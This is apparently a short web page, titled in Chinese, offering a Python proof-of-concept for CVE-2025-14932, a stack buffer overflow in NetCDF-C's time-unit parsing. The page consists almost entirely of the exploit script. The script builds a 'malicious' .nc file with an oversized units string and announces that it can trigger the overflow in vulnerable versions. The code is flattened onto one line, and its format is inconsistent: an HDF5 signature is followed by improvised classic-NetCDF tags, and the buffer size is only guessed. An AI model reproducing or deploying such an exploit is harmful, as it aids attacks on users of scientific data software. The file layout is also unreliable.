CVE-2025-14932 NSF Unidata NetCDF-C 时间单位栈缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-14932 PoC - NetCDF-C Time Unit Stack-based Buffer Overflow # This PoC generates a malicious NetCDF file with oversized time unit string import struct import sys def create_malicious_netcdf(): """ Generate a NetCDF file with oversized time unit to trigger buffer overflow """ # NetCDF header signature header = b'\x89HDF\r\n\x1a\n' # Create oversized time unit string (exceeds expected buffer size) # Typical buffer size might be 32-128 bytes overflow_string = 'A' * 1024 + ' time units since ' # Craft the malicious time unit dimension time_unit_data = overflow_string.encode('utf-8') # NetCDF structure markers nc_data = header + b'\x00' * 4 # Version and flags # Add dimension record with malicious time unit dim_tag = b'\x00\x00\x00\x0B' # NC_DIMENSION dim_data = struct.pack('>I', len(time_unit_data)) + time_unit_data # Add attribute record with overflow data attr_tag = b'\x00\x00\x00\x0C' # NC_ATTRIBUTE attr_name = b'units' attr_data = struct.pack('>I', len(time_unit_data)) + time_unit_data nc_data += dim_tag + dim_data + attr_tag + attr_name + attr_data return nc_data def main(): print('[+] CVE-2025-14932 PoC Generator') print('[+] Target: NSF Unidata NetCDF-C') print('[+] Vulnerability: Time Unit Stack-based Buffer Overflow') output_file = 'malicious_cve_2025_14932.nc' try: nc_content = create_malicious_netcdf() with open(output_file, 'wb') as f: f.write(nc_content) print(f'[+] Malicious NetCDF file created: {output_file}') print('[+] Size:', len(nc_content), 'bytes') print('[+] Time unit overflow string length:', 1024 + len(' time units since ')) print('\n[!] This file can trigger buffer overflow when opened with vulnerable NetCDF-C version') except Exception as e: print(f'[-] Error: {e}') return 1 return 0 if __name__ == '__main__': sys.exit(main())